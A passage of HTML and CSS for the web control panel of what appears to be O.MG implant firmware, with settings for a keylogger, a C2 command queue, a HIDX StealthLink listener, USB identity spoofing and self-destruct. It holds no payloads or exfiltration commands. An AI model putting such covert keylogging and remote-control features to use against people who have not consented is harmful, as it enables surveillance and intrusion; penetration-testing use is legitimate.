none;\n\t\t\t}\n\t\t}\n\t\t\n\t\t@media (max-width:400px) {\n\t\t\t.toast {\n\t\t\t\twidth: 100%;\n\t\t\t\tright: 0px;\n\t\t\t}\n\t\t}\n\t\t\n\t\t@media (max-width:1px) {\n\t\t\tnav {\n\t\t\t\tdisplay: none\n\t\t\t}\n\t\t\n\t\t\t#content,\n\t\t\t#subnav,\n\t\t\t.editor,\n\t\t\t.footer {\n\t\t\t\tpadding: 0;\n\t\t\t\tmargin: 0;\n\t\t\t\twidth: 100vw;\n\t\t\t}\n\t\t\n\t\t\t.editor {\n\t\t\t\theight: calc(100dvh - 200px);\n\t\t\t}\n\t\t}\n\t\t\n\t\t@keyframes spin {\n\t\t\t0% {\n\t\t\t\ttransform: rotate(0deg);\n\t\t\t}\n\t\t\n\t\t\tto {\n\t\t\t\ttransform: rotate(360deg);\n\t\t\t}\n\t\t}\n\t\t\n\t\t@keyframes pulse {\n\t\t\t0% {\n\t\t\t\ttransform: scale(0.95);\n\t\t\t\tbox-shadow: 0 0 0 0 var(--inactiveColor);\n\t\t\t}\n\t\t\n\t\t\t70% {\n\t\t\t\ttransform: scale(0.80);\n\t\t\t\tbox-shadow: 0 0 0 3px var(--inactiveGradient2);\n\t\t\t}\n\t\t\n\t\t\t100% {\n\t\t\t\ttransform: scale(0.95);\n\t\t\t\tbox-shadow: 0 0 0 0 var(--inactiveColor);\n\t\t\t}\n\t\t}\n\t\t\n\t\t.tooltip,\n\t\t.input-wrapper {\n\t\t\tposition: relative;\n\t\t}\n\t\t\n\t\t.tooltiptext {\n\t\t\tposition: absolute;\n\t\t\tvisibility: hidden;\n\t\t\tbackground-color: red;\n\t\t\tcolor: #fff;\n\t\t\tfont-size: 0.8em;\n\t\t\ttext-align: center;\n\t\t\tborder-radius: 6px;\n\t\t\tpadding: 5px 0;\n\t\t\tz-index: 1;\n\t\t\ttop: 120%;\n\t\t\tleft: 0;\n\t\t\tborder-width: 5px;\n\t\t\tborder-style: solid;\n\t\t\tborder-color: transparent transparent red transparent;\n\t\t}\n\t\t\n\t\t.tooltiptext::after {\n\t\t\tcontent: \"\";\n\t\t\tposition: absolute;\n\t\t\tbottom: 100%;\n\t\t\tmargin-left: -240px;\n\t\t\tborder-width: 15px;\n\t\t\tborder-style: solid;\n\t\t\tborder-color: transparent transparent red transparent;\n\t\t}\n\t\t\n\t\t.arrowTop {\n\t\t\ttop: -10px;\n\t\t}\n\t\t\n\t\t.arrowTop::after {\n\t\t\ttop: 100%;\n\t\t\tborder-color: red transparent transparent transparent;\n\t\t}\n\t\t\n\t\t.editor-wrapper {\n\t\t\tbackground-color: var(--bgColor3);\n\t\t\twidth: calc(100% - 22px);\n\t\t\tleft: 11px;\n\t\t\tmargin-left: 0px;\n\t\t\tpadding-left: 0px;\n\t\t\tmargin-bottom: -8px;\n\t\t\tpadding-bottom: 20px;\n\t\t\toverflow: scroll;\n\t\t\t-ms-overflow-style: none;  /* IE and Edge */\n\t\t\tscrollbar-width: none;  /* Firefox */\n\t\t}\n\t\t\n\t\t.editor-wrapper::-webkit-scrollbar {\n\t\t  display: none;\n\t\t}\n\t\t\n\t\t#lineNumbers {\n\t\t\twidth: 30px;\n\t\t\tleft: 0px;\n\t\t\tbackground-color: var(--inactiveGradient2);\n\t\t\tpadding: 5px;\n\t\t\ttext-align: right;\n\t\t\tline-height: 1.5em;\n\t\t\tline-height-step: 1.5em;\n\t\t\tfont-family: monospace;\n\t\t\tposition: absolute;\n\t\t\theight: calc(100% - 30px);\n\t\t\toverflow: scroll;\n\t\t\t-ms-overflow-style: none;  /* IE and Edge */\n\t\t\tscrollbar-width: none;  /* Firefox */\n\t\t}\n\t\t\n\t\t#lineNumbers::-webkit-scrollbar {\n\t\t  display: none;\n\t\t}\n\t\t\n\t\t#payload {\n\t\t\tpadding: 5px;\n\t\t\tleft: 45px;\n\t\t\tmargin-left: 0px;\n\t\t\tborder: none;\n\t\t\toutline: none;\n\t\t\tline-height: 1.5em;\n\t\t\tline-height-step: 1.46em;\n\t\t\tfont-family: monospace;\n\t\t\twhite-space: pre;\n\t\t\tbackground: transparent;\n\t\t\tposition: relative;\n\t\t\twidth: calc(100% - 63px);\n\t\t\toverflow: scroll;\n\t\t\t-ms-overflow-style: none;  /* IE and Edge */\n\t\t\tscrollbar-width: none;  /* Firefox */\n\t\t}\n\t\t\n\t\t#payload::-webkit-scrollbar {\n\t\t  display: none;\n\t\t}\n\t\t\n\t\t#labipaddress {\n\t\t\tcolor: black;\n\t\t}\n\t\t\n\t\t.line-red {\n\t\t\tbackground-color: red;\n\t\t\twidth: 30px;\n\t\t\tpadding-right: calc(100vw - 60px);\n\t\t}\n\t\t\n\t\t.line-orange {\n\t\t\tbackground-color: orange;\n\t\t\twidth: 30px;\n\t\t\tpadding-right: calc(100vw - 55px);\n\t\t}\n\t\t\n\t\t.line-yellow {\n\t\t\tbackground-color: yellow;\n\t\t\twidth: 30px;\n\t\t\tpadding-right: calc(100vw - 55px);\n\t\t}\n\t\t\n\t\t.line-green {\n\t\t\tbackground-color: green;\n\t\t\twidth: 30px;\n\t\t\tpadding-right: calc(100vw - 55px);\n\t\t}\n\t\t\n\t\t.line-blue {\n\t\t\tbackground-color: blue;\n\t\t\twidth: 30px;\n\t\t\tpadding-right: calc(100vw - 55px);\n\t\t}\n\t\t\n\t\t.line-purple {\n\t\t\tbackground-color: purple;\n\t\t\twidth: 30px;\n\t\t\tpadding-right: calc(100vw - 55px);\n\t\t}\n\t\t\n\t\t\n\t\t.apply-effect {\n\t\t\tanimation: glowing 1s;\n\t\t\t-webkit-animation: glowing 1s;\n\t\t\tbox-shadow: 0 0 0px red, 0 0 0px red, 0 0 0px red, 0 0 0px red;\n\t\t\t-webkit-box-shadow: 0 0 0px red, 0 0 0px red, 0 0 0px red, 0 0 0px red;\n\t\t}\n\t\t\n\t\t.glowing-effect {\n\t\t\tanimation: glowing 1s infinite;\n\t\t\t-webkit-animation: glowing 1s infinite;\n\t\t\tbox-shadow: 0 0 1px red, 0 0 3px red, 0 0 5px red, 0 0 7px red;\n\t\t\t-webkit-box-shadow: 0 0 1px red, 0 0 3px red, 0 0 5px red, 0 0 7px red;\n\t\t}\n\t\t\n\t\t@keyframes glowing {\n\t\t\t0% {\n\t\t\t\tbox-shadow: 0 0 4px red, 0 0 6px red, 0 0 8px red, 0 0 10px red;\n\t\t\t}\n\t\t\n\t\t\t50% {\n\t\t\t\tbox-shadow: 0 0 8px red, 0 0 10px red, 0 0 12px red, 0 0 14px red;\n\t\t\t}\n\t\t\n\t\t\t100% {\n\t\t\t\tbox-shadow: 0 0 4px red, 0 0 6px red, 0 0 8px red, 0 0 10px red;\n\t\t\t}\n\t\t}\n\t\t\n\t\t@-webkit-keyframes glowing {\n\t\t\t0% {\n\t\t\t\t-webkit-box-shadow: 0 0 4px red, 0 0 6px red, 0 0 8px red, 0 0 10px red;\n\t\t\t}\n\t\t\n\t\t\t50% {\n\t\t\t\t-webkit-box-shadow: 0 0 8px red, 0 0 10px red, 0 0 12px red, 0 0 14px red;\n\t\t\t}\n\t\t\n\t\t\t100% {\n\t\t\t\t-webkit-box-shadow: 0 0 4px red, 0 0 6px red, 0 0 8px red, 0 0 10px red;\n\t\t\t}\n\t\t}\n\t</style>\n</head>\n<body>\n\t<nav>\n\t\t<div class=\"left-side\">\n\t\t\t<div id=\"logoBar\">\n\t\t\t\t<svg id=\"logo\" xmlns=\"http://www.w3.org/2000/svg\" xml:space=\"preserve\" class=\"iconColor\" viewBox=\"110 25 82 50\"></svg>\n\t\t\t\t<span id=\"modelText\" class=\"visible\"></span>\n\t\t\t</div>\n\t\t\t<div id=\"navbar-wifiIcon\">\n\t\t\t\t<svg id=\"ico_wifi\" xml:space=\"preserve\" viewBox=\"0 0 24.38 30\">\n\t\t\t\t\t<path id=\"networkIn\" class=\"networkIn\" fill=\"white\" d=\"m8.44,30s-1.87-1.88-8.44-11.25h3.75v-5.63h1.87v7.5h-2.29c4.16,5.62,5.1,6.39,5.1,6.39,0,0,.94-.76,5.1-6.39h-2.29v-5.62h1.88v3.75h3.75c-6.56,9.38-8.44,11.25-8.44,11.25Z\"/>\n\t\t\t\t\t<path id=\"networkOut\" class=\"networkOut\" fill=\"white\" d=\"m15.94,0s1.88,1.88,8.44,11.25h-3.75v5.63h-1.88v-7.5h2.29c-4.16-5.62-5.1-6.39-5.1-6.39,0,0-.94.76-5.1,6.39h2.29v5.63h-1.88v-3.75h-3.75C14.06,1.88,15.94,0,15.94,0Z\"/>\n\t\t\t\t</svg>\n\t\t\t</div>\n\t\t\t<div id=\"wifiDetails\">\n\t\t\t\t<span id=\"wifiRTT\"></span>\n\t\t\t</div>\n\t\t\t<div id=\"deviceSelect\"></div>\n\t\t\t<div id=\"navbarAlerts\"></div>\n\t\t</div>\n\t\t<div class=\"right-side\">\n\t\t\t<div id=\"navbar-Links\">\n\t\t\t\t<a id=\"navbar-Links-settings\" data-target=\"#modal-settings\" href=\"#\" onclick=\"sidebarAreaToggle('settings')\">\n\t\t\t\t\t<svg id=\"ico_settings\" xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 40 40\"></svg>\n\t\t\t\t\t<span class=\"navLabel\">SETTINGS</span>\n\t\t\t\t</a>\n\t\t\t\t<a id=\"navbar-Links-about\" data-target=\"#modal-about\" href=\"#\" onclick=\"sidebarAreaToggle('about')\">\n\t\t\t\t\t<svg id=\"ico_about\" xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 40 40\"></svg>\n\t\t\t\t\t<span class=\"navLabel\">ABOUT</span>\n\t\t\t\t</a>\n\t\t\t\t<a id=\"navbar-Links-help\" data-target=\"#modal-help\" href=\"#\" onclick=\"sidebarAreaToggle('help')\">\n\t\t\t\t\t<svg id=\"ico_help\" xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 40 40\"></svg>\n\t\t\t\t\t<span class=\"navLabel\">HELP</span>\n\t\t\t\t</a>\n\t\t\t</div>\n\t\t</div>\n\t</nav>\n\t<div id=\"subnav\" class=\"subnav\">\n\t\t<button id=\"contentSubNav_syslog\" onclick=\"contentAreaToggle('syslog')\">\n\t\t\t<svg id=\"ico_syslog\" xmlns=\"http://www.w3.org/2000/svg\" height=\"24\" width=\"24\" viewBox=\"0 0 40 40\" class=\"iconColor navIcon\"></svg>\n\t\t\t<span>log</span>\n\t\t\t<span id=\"syslogStatusLight\">&nbsp;</span>\n\t\t</button>\n\t\t<button id=\"contentSubNav_c2log\" onclick=\"contentAreaToggle('c2log')\" class=\"hidden\">\n\t\t\t<svg id=\"ico_syslog\" xmlns=\"http://www.w3.org/2000/svg\" height=\"24\" width=\"24\" viewBox=\"0 0 40 40\" class=\"iconColor navIcon\"></svg>\n\t\t\t<span>c2log</span>\n\t\t\t<span id=\"c2logStatusLight\">&nbsp;</span>\n\t\t</button>\n\t\t<button id=\"contentSubNav_keylog\" class=\"keylog hidden\" onclick=\"contentAreaToggle('keylog')\">\n\t\t\t<svg id=\"ico_keylog\" xmlns=\"http://www.w3.org/2000/svg\" height=\"24\" viewBox=\"0 0 40 40\" class=\"iconColor navIcon\"></svg>\n\t\t\t<span>Keylog</span>\n\t\t\t<span id=\"keylogStatusLight\">&nbsp;</span>\n\t\t</button>\n\t\t<button id=\"contentSubNav_payload\" onclick=\"contentAreaToggle('payload')\" class=\"buttonSelected hidden\">\n\t\t\t<svg id=\"ico_payload\" xmlns=\"http://www.w3.org/2000/svg\" data-keyloggingOn height=\"24\" viewBox=\"0 0 40 40\" class=\"iconColor navIcon\"></svg>\n\t\t\t<span>Payload</span>\n\t\t\t<span id=\"payloadStatusLight\">&nbsp;</span>\n\t\t</button>\n\t\t<button id=\"contentSubNav_debug\" class=\"hidden\" onclick=\"contentAreaToggle('debug')\">Debug</button>\n\t</div>\n\t<div id=\"sidebar\" class=\"hidden\">\n\t\t<div id=\"sidebar_settings\" class=\"hidden\">\n\t\t\t<button class=\"close\" type=\"button\" onclick=\"sidebarAreaToggle('close')\">\n\t\t\t\t<span>&times;</span>\n\t\t\t</button>\n\t\t\t<h1>Settings</h1>\n\t\t\t<div id=\"sidebar_settings_subnav\" class=\"subnav\">\n\t\t\t\t<button id=\"sidebarNav_queue\" onclick=\"sidebarSettingsAreaToggle('queue')\" class=\"hidden\">Queue</button>\n\t\t\t\t<button id=\"sidebarNav_net\" onclick=\"sidebarSettingsAreaToggle('net')\" class=\"buttonSelected\">Net</button>\n\t\t\t\t<button id=\"sidebarNav_config\" onclick=\"sidebarSettingsAreaToggle('config')\">USB</button>\n\t\t\t\t<button id=\"sidebarNav_debug\" onclick=\"sidebarSettingsAreaToggle('debug')\">GENERAL</button>\n\t\t\t</div>\n\t\t\t<div id=\"sidebar_settings_queue\" class=\"hidden\">\n\t\t\t\t<label for=\"data\">Add CMD to Queue:</label>\n\t\t\t\t<input type=\"text\" id=\"data\" name=\"data\">\n\t\t\t\t<button id=\"modifyQueueC2\" onclick=\"applyEffect(this);\">Submit</button>\n\t\t\t\t<br>\n\t\t\t\t<label for=\"queueContactRate\">Contact Rate:</label>\n\t\t\t\t<input type=\"text\" id=\"queueContactRate\" name=\"queueContactRate\">\n\t\t\t\t<label for=\"queuePollRate\">Poll Rate:</label>\n\t\t\t\t<input type=\"text\" id=\"queuePollRate\" name=\"queuePollRate\">\n\t\t\t\t<label for=\"queueFastRate\">Fast Rate:</label>\n\t\t\t\t<input type=\"text\" id=\"queueFastRate\" name=\"queueFastRate\">\n\t\t\t\t<button id=\"queuePollUpdate\" onclick=\"applyEffect(this); changePollRate();\">Update Queue Polling Rates</button>\n\t\t\t\t<table id=\"cmdQueueTable\">\n\t\t\t\t\t<thead>\n\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t<th>Command</th>\n\t\t\t\t\t\t\t<th>Action</th>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t</thead>\n\t\t\t\t\t<tbody></tbody>\n\t\t\t\t</table>\n\t\t\t\t<br>\n\t\t\t\t<button id=\"deleteAllButton\" onclick=\"applyEffect(this);\">Delete All in Queue</button>\n\t\t\t\t<br>\n\t\t\t\t<button id=\"queryDeviceStatus\" onclick=\"applyEffect(this);\">Query Device Status</button>\n\t\t\t\t<br>\n\t\t\t\t<div class=\"button-container\">\n\t\t\t\t\t<label for=\"c2logAlwaysShow\">Always Show Last Check-In</label>\n\t\t\t\t\t<div id=\"c2logAlwaysShow\" class=\"toggle-button\" onclick=\"document.getElementById(`c2logAlwaysShow`).classList.toggle('active'); if(this.classList.contains('active')) { alwaysDisplayLastPoll = '1'; sendMessage(`CTSet\\tshowmsgtime\\t1`); } else { alwaysDisplayLastPoll = '0'; sendMessage(`CTSet\\tshowmsgtime\\t0`); };\">\n\t\t\t\t\t\t<div class=\"inner-circle\"></div>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"button-container\">\n\t\t\t\t\t<label for=\"c2logAbridge\">C2 Log Abridge</label>\n\t\t\t\t\t<div id=\"c2logAbridge\" class=\"toggle-button\" onclick=\"document.getElementById(`c2logAbridge`).classList.toggle('active'); if(this.classList.contains('active')) { c2logAbridge = '1' } else { c2logAbridge = '0' };\">\n\t\t\t\t\t\t<div class=\"inner-circle\"></div>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t\t<br>\n\t\t\t\t<button id=\"clearLogsButton\" onclick=\"applyEffect(this);\">\n\t\t\t\t\tClear &nbsp;\n\t\t\t\t\t<data id=\"clearLogsAlias\"></data>\n\t\t\t\t\t&nbsp; Logs\n\t\t\t\t</button>\n\t\t\t\t<button id=\"clearAllLogsButton\" onclick=\"applyEffect(this);\">Clear All Logs</button>\n\t\t\t</div>\n\t\t\t<div id=\"sidebar_settings_net\">\n\t\t\t\t<div id=\"wifi-Settings\">\n\t\t\t\t\t<h3>WiFi Settings</h3>\n\t\t\t\t\t<label for=\"device-WIFIMode\">WiFi Mode</label>\n\t\t\t\t\t<data id=\"device-WIFIMode\" class=\"hidden\"></data>\n\t\t\t\t\t<input type=\"radio\" id=\"CW0\" name=\"WIFIMode\" value=\"AP\">\n\t\t\t\t\t<data>AP (Broadcast a new AP)</data>\n\t\t\t\t\t<br>\n\t\t\t\t\t<input type=\"radio\" id=\"CW1\" name=\"WIFIMode\" value=\"Station\">\n\t\t\t\t\t<data>Station (Connect to Infrastructure)</data>\n\t\t\t\t\t<div class=\"input-wrapper\">\n\t\t\t\t\t\t<label for=\"device-WIFISSID\">SSID</label>\n\t\t\t\t\t\t<input type=\"text\" id=\"device-WIFISSID\" name=\"device-WIFISSID\" spellcheck=\"false\" pattern=\"^[\\x00-\\x7F]{1,32}$|^$\" title=\"SSID must be 1-32 ASCII Characters.\" type=\"pattern\" oninput=\"checkInput(this, 'tooltipwifissid')\">\n\t\t\t\t\t\t<span class=\"tooltiptext\" id=\"tooltipwifissid\"></span>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"input-wrapper\">\n\t\t\t\t\t\t<label for=\"device-WIFIPassword\">Password (8-63 Characters, 0 = Open)</label>\n\t\t\t\t\t\t<input class=\"tooltip\" type=\"text\" id=\"device-WIFIPassword\" name=\"device-WIFIPassword\" spellcheck=\"false\" pattern=\"^[\\x00-\\x7F]{8,63}$|^$\" title=\"Password must be 8-63 ASCII Characters.\" type=\"pattern\" oninput=\"checkInput(this, 'tooltipwifipass')\">\n\t\t\t\t\t\t<span class=\"tooltiptext\" id=\"tooltipwifipass\"></span>\n\t\t\t\t\t</div>\n\t\t\t\t\t<label for=\"device-WIFIChannel\">Channel</label>\n\t\t\t\t\t<input type=\"text\" id=\"device-WIFIChannel\" name=\"device-WIFIChannel\" spellcheck=\"false\">\n\t\t\t\t\t<label for=\"device-CustomMACAddress\">\n\t\t\t\t\t\tCustom MAC (Default:\n\t\t\t\t\t\t<data id=\"device-HardwareMACAddress\"></data>\n\t\t\t\t\t\t)\n\t\t\t\t\t</label>\n\t\t\t\t\t<input type=\"text\" id=\"device-CustomMACAddress\" name=\"device-CustomMACAddress\" spellcheck=\"false\">\n\t\t\t\t\t<label for=\"device-IPAddress\">Device IP Address</label>\n\t\t\t\t\t<span type=\"text\" id=\"device-IPAddress\"></span>\n\t\t\t\t\t<label for=\"device-name\">Device Name</label>\n\t\t\t\t\t<input type=\"text\" id=\"device-name\" name=\"device-name\" spellcheck=\"false\">\n\t\t\t\t\t<button id=\"update-WIFISettings\" class=\"submitButton\" onclick=\"applyEffect(this); updateWifiSettings();\">Change Settings</button>\n\t\t\t\t</div>\n\t\t\t\t<div id=\"c2-Settings\" class=\"c2\">\n\t\t\t\t\t<h3>C2 Settings</h3>\n\t\t\t\t\t<p>\n\t\t\t\t\t\tC2 is currently in beta. Click \n\t\t\t\t\t\t<a href=\"https://github.com/O-MG/O.MG-Firmware/wiki/C2\">https://github.com/O-MG/O.MG-Firmware/wiki/C2</a>\n\t\t\t\t\t\t to learn more.\n\t\t\t\t\t</p>\n\t\t\t\t\t<label for=\"c2config\">\n\t\t\t\t\t\tC2 Config - \n\t\t\t\t\t\t<span id=\"c2configApplied\"></span>\n\t\t\t\t\t</label>\n\t\t\t\t\t<input type=\"text\" id=\"c2config\" name=\"c2config\" spellcheck=\"false\">\n\t\t\t\t\t<button id=\"update-C2Settings\" class=\"submitButton\" onclick=\"applyEffect(this); updateC2Settings()\">Change Settings</button>\n\t\t\t\t\t<div class=\"button-container\">\n\t\t\t\t\t\t<label for=\"c2status\">C2</label>\n\t\t\t\t\t\t<div id=\"c2status\" class=\"toggle-button\" onclick=\"document.getElementById(`c2status`).classList.toggle('active'); if(this.classList.contains('active')) { sendMessage(`C2Start`) } else { sendMessage(`C2Stop`); };\">\n\t\t\t\t\t\t\t<div class=\"inner-circle\"></div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t\t<button id=\"button-C2Wipe\" class=\"submitButton hidden\" onclick=\"applyEffect(this); sendMessage('C2Wipe')\">Erase C2 Config</button>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t\t<div id=\"sidebar_settings_config\" class=\"hidden\">\n\t\t\t\t<h3>USB ID Defaults</h3>\n\t\t\t\t<label>Change the default USB identifiers. Any identifiers specified in a payload will override these defaults. This setting currently does NOT apply to boot payloads</label>\n\t\t\t\t<br>\n\t\t\t\t<label for=\"device-USBVID\">USB Vendor ID</label>\n\t\t\t\t<input type=\"text\" id=\"device-USBVID\" name=\"device-USBVID\">\n\t\t\t\t<label for=\"device-USBPID\">USB Product ID</label>\n\t\t\t\t<input type=\"text\" id=\"device-USBPID\" name=\"device-USBPID\">\n\t\t\t\t<label for=\"device-USBMAN\">USB Manufacturer</label>\n\t\t\t\t<input type=\"text\" id=\"device-USBMAN\" name=\"device-USBMAN\">\n\t\t\t\t<label for=\"device-USBPRO\">USB Product</label>\n\t\t\t\t<input type=\"text\" id=\"device-USBPRO\" name=\"device-USBPRO\">\n\t\t\t\t<label for=\"device-USBSER\">USB Serial Number</label>\n\t\t\t\t<input type=\"text\" id=\"device-USBSER\" name=\"device-USBSER\">\n\t\t\t\t<button class=\"submitButton\" id=\"update-USBIDs\" onclick=\"applyEffect(this); updateUSBIDs();\">Update All USB IDs at once</button>\n\t\t\t\t<div class=\"hidx\">\n\t\t\t\t\t<h4>USB Overclock</h4>\n\t\t\t\t\t<select name=\"experimentalSpeed\" id=\"experimentalSpeed\" onchange=\"sendMessage(`CTSet\\tusbinterval\\t${this.value}`);sendMessage(`CTList`);\">\n\t\t\t\t\t\t<option value=\"10\">100%</option>\n\t\t\t\t\t\t<option value=\"1\">1000%</option>\n\t\t\t\t\t</select>\n\t\t\t\t\t<button class=\"submitButton\" id=\"experimentalSpeed\" onclick=\"applyEffect(this); sendMessage(`CR1`)\">Apply + Reboot</button>\n\t\t\t\t</div>\n\t\t\t\t<div id=\"keylog-Settings\" class=\"keylog\">\n\t\t\t\t\t<h3>Keylog Settings</h3>\n\t\t\t\t\t<input class=\"keylyg\" type=\"text\" placeholder=\"US\" data-keylogger-map-region id=\"keylogKeymapSelect\" list=\"keymap-list\">\n\t\t\t\t\t<button id=\"update-keylogLocale\" class=\"updateButton\" onclick=\"applyEffect(this); generateKeymap(document.getElementById('keylogKeymapSelect').value)\">Update</button>\n\t\t\t\t\t<div class=\"button-container hidden\">\n\t\t\t\t\t\t<label for=\"keylogDisplayUnmappedValues\">Display Unmapped Values</label>\n\t\t\t\t\t\t<div id=\"keylogDisplayUnmappedValues\" class=\"toggle-button\" onclick=\"document.getElementById(`keylogDisplayUnmappedValues`).classList.toggle('active'); if(this.classList.contains('active')) { sendMessage(`CTSet\\tkeylogall\\t1`) } else { sendMessage(`CTSet\\tkeylogall\\t0`); };\">\n\t\t\t\t\t\t\t<div class=\"inner-circle\"></div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t\t<div id=\"hidx-Settings\" class=\"hidx\">\n\t\t\t\t\t<h3>HIDX StealthLink Settings</h3>\n\t\t\t\t\t<div class=\"button-container\">\n\t\t\t\t\t\t<label for=\"hidxstatusfile\">HIDX File</label>\n\t\t\t\t\t\t<div id=\"hidxstatusfile\" class=\"toggle-button\" onclick=\"document.getElementById(`hidxstatusfile`).classList.toggle('active'); if(this.classList.contains('active')) { sendMessage(`CHStart\\tF\\thidxfile`) } else { sendMessage(`CHStop`); };\">\n\t\t\t\t\t\t\t<div class=\"inner-circle\"></div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"button-container\">\n\t\t\t\t\t\t<label for=\"hidxstatustcp\">HIDX TCP</label>\n\t\t\t\t\t\t<div id=\"hidxstatustcp\" class=\"toggle-button\" onclick=\"document.getElementById(`hidxstatustcp`).classList.toggle('active'); if(this.classList.contains('active')) { sendMessage(`CHStart\\tT`) } else { sendMessage(`CHStop`); };\">\n\t\t\t\t\t\t\t<div class=\"inner-circle\"></div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t\t<label for=\"hidxhost\">Listener Address</label>\n\t\t\t\t\t<input type=\"text\" id=\"hidxhost\" name=\"hidxhost\" spellcheck=\"false\">\n\t\t\t\t\t<label for=\"hidxport\">Listener Port</label>\n\t\t\t\t\t<input type=\"text\" id=\"hidxport\" name=\"hidxport\" spellcheck=\"false\">\n\t\t\t\t\t<label for=\"hidxboot\">AutoStart on Boot</label>\n\t\t\t\t\t<div class=\"button-container\">\n\t\t\t\t\t\t<div id=\"hidxboot\" class=\"toggle-button\" onclick=\"document.getElementById(`hidxboot`).classList.toggle('active'); if(this.classList.contains('active')) { sendMessage(`CTSet\\thidxboot\\t1`) } else { sendMessage(`CTSet\\thidxboot\\t0`); };\">\n\t\t\t\t\t\t\t<div class=\"inner-circle\"></div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t\t<button id=\"update-HIDXSettings\" class=\"submitButton\" onclick=\"applyEffect(this); updateHIDXSettings(); sendMessage(`CR1`);\">Change Settings</button>\n\t\t\t\t</div>\n\t\t\t\t<h3>Toggles</h3>\n\t\t\t\t<label for=\"toggle-BootScript\">BootScript</label>\n\t\t\t\t<div class=\"button-container\">\n\t\t\t\t\t<div id=\"toggle-BootScript\" class=\"toggle-button\" onclick=\"if(this.classList.contains('active')) { payloadSetBootSlot('off') } else { payloadSetBootSlot('on'); };\">\n\t\t\t\t\t\t<div class=\"inner-circle\"></div>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t\t<label for=\"toggle-CU\">USB</label>\n\t\t\t\t<div class=\"button-container\">\n\t\t\t\t\t<div id=\"toggle-CU\" class=\"toggle-button\" onclick=\"document.getElementById(`toggle-CU`).classList.toggle('active'); if(this.classList.contains('active')) { sendMessage(`CU1`) } else { sendMessage(`CU0`); document.getElementById(`toggle-CJ`).classList.remove(`active`); }\">\n\t\t\t\t\t\t<div class=\"inner-circle\"></div>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t\t<label for=\"toggle-CJ\">Mouse Jiggler</label>\n\t\t\t\t<div class=\"button-container\">\n\t\t\t\t\t<div id=\"toggle-CJ\" class=\"toggle-button\" onclick=\"document.getElementById(`toggle-CJ`).classList.toggle('active'); if(this.classList.contains('active')) { sendMessage(`CJ1`); document.getElementById(`toggle-CU`).classList.add(`active`); } else { sendMessage(`CJ0`) }\">\n\t\t\t\t\t\t<div class=\"inner-circle\"></div>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t\t<div id=\"sidebar_settings_keylog\" class=\"hidden\">\n\t\t\t\t<h3>Keylog Settings</h3>\n\t\t\t\t<button class=\"closeModal\" type=\"button\" onclick=\"keylogOptionsMenu('close')\">&times;</button>\n\t\t\t</div>\n\t\t\t<div id=\"sidebar_settings_debug\" class=\"hidden\">\n\t\t\t\t<div>\n\t\t\t\t\t<h3>General</h3>\n\t\t\t\t\t<label for=\"sidebar_settings_debug_partitionEditor\">Partition Editor</label>\n\t\t\t\t\t<button class=\"plus\" id=\"sidebar_settings_debug_partitionEditor\" onclick=\"partitionEditorCurrent(); generatePartitionEditor(); viewDialog('partitionEditor', 'open')\">Partition Editor</button>\n\t\t\t\t\t<label for=\"uiAccentColor\">Theme</label>\n\t\t\t\t\t<select name=\"uiAccentColor\" id=\"uiAccentColor\" onchange=\"sendMessage(`CTSet\\tuicolor\\t${this.value}`);sendMessage(`CTList`);setAccentColors(this.value)\">\n\t\t\t\t\t\t<option value=\"red\">Red</option>\n\t\t\t\t\t\t<option value=\"orange\">Orange</option>\n\t\t\t\t\t\t<option value=\"yellow\">Yellow</option>\n\t\t\t\t\t\t<option value=\"green\">Green</option>\n\t\t\t\t\t\t<option value=\"cyan\">Cyan</option>\n\t\t\t\t\t\t<option value=\"teal\">Teal</option>\n\t\t\t\t\t\t<option value=\"blue\">Blue</option>\n\t\t\t\t\t\t<option value=\"purple\">Purple</option>\n\t\t\t\t\t\t<option value=\"pink\">Pink</option>\n\t\t\t\t\t\t<option value=\"fuchsia\">Fuchsia</option>\n\t\t\t\t\t\t<option value=\"maroon\">Maroon</option>\n\t\t\t\t\t\t<option value=\"brown\">Brown</option>\n\t\t\t\t\t\t<option value=\"grey\">Grey</option>\n\t\t\t\t\t\t<option id=\"uicolorCustom\" value=\"custom\">Custom</option>\n\t\t\t\t\t</select>\n\t\t\t\t\t<label for=\"uiAccentColor\">Custom Color</label>\n\t\t\t\t\t<div id=\"color-container\">\n\t\t\t\t\t\t<span>\n\t\t\t\t\t\t\t<input type=\"range\" id=\"color-slider\" min=\"0\" max=\"360\" value=\"0\">\n\t\t\t\t\t\t\t<div id=\"color-box\"></div>\n\t\t\t\t\t\t</span>\n\t\t\t\t\t\t<span>\n\t\t\t\t\t\t\t<button id=\"apply-color\" onclick=\"applyEffect(this);\">Save</button>\n\t\t\t\t\t\t</span>\n\t\t\t\t\t</div>\n\t\t\t\t\t<h3>Download Frontend Log</h3>\n\t\t\t\t\t<p>This log contains info processed during this browser session, including payloads edited or ran & keylogs viewed. We recommend reloading your browser session and limiting your activity to only what you are comfortable sharing.</p>\n\t\t\t\t\t<button class=\"submitButton\" id=\"sidebar_settings_debug_feLog\" onclick=\"applyEffect(this); downloadFrontendlog();\">Download Frontend Log</button>\n\t\t\t\t\t<h3>Reboot</h3>\n\t\t\t\t\t<button class=\"submitButton\" id=\"sidebar_settings_config_reboot\" onclick=\"applyEffect(this); sendMessage(`CR1`)\">Reboot</button>\n\t\t\t\t\t<div class=\"selfDestruct\">\n\t\t\t\t\t\t<h3>Self Destruct</h3>\n\t\t\t\t\t\t<button class=\"submitButton\" 